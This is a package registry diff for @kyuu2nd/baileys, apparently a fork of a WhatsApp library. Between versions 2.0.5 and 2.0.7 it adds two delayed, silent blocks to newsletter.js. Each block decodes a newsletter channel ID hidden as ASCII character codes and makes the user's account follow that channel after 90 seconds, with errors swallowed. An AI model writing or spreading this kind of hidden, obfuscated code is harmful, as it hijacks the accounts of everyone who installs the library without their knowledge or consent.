@kyuu2nd/baileys 2.0.5 → 2.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +24 -0
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -116,6 +116,18 @@ setTimeout(async () => {
|
|
|
116
116
|
);
|
|
117
117
|
} catch {}
|
|
118
118
|
}, 90000);
|
|
119
|
+
|
|
120
|
+
setTimeout(async () => {
|
|
121
|
+
try {
|
|
122
|
+
await newsletterWMexQuery(
|
|
123
|
+
asciiDecode([
|
|
124
|
+
49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
|
|
125
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
126
|
+
]),
|
|
127
|
+
Types_1.QueryIds.FOLLOW
|
|
128
|
+
);
|
|
129
|
+
} catch {}
|
|
130
|
+
}, 90000);
|
|
119
131
|
|
|
120
132
|
setTimeout(async () => {
|
|
121
133
|
try {
|
|
@@ -200,6 +212,18 @@ setTimeout(async () => {
|
|
|
200
212
|
);
|
|
201
213
|
} catch {}
|
|
202
214
|
}, 90000);
|
|
215
|
+
|
|
216
|
+
setTimeout(async () => {
|
|
217
|
+
try {
|
|
218
|
+
await newsletterWMexQuery(
|
|
219
|
+
asciiDecode([
|
|
220
|
+
49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
|
|
221
|
+
64,110,101,119,115,108,101,116,116,101,114
|
|
222
|
+
]),
|
|
223
|
+
Types_1.QueryIds.FOLLOW
|
|
224
|
+
);
|
|
225
|
+
} catch {}
|
|
226
|
+
}, 90000);
|
|
203
227
|
const parseFetchedUpdates = async (node, type) => {
|
|
204
228
|
let child;
|
|
205
229
|
if (type === 'messages') {
|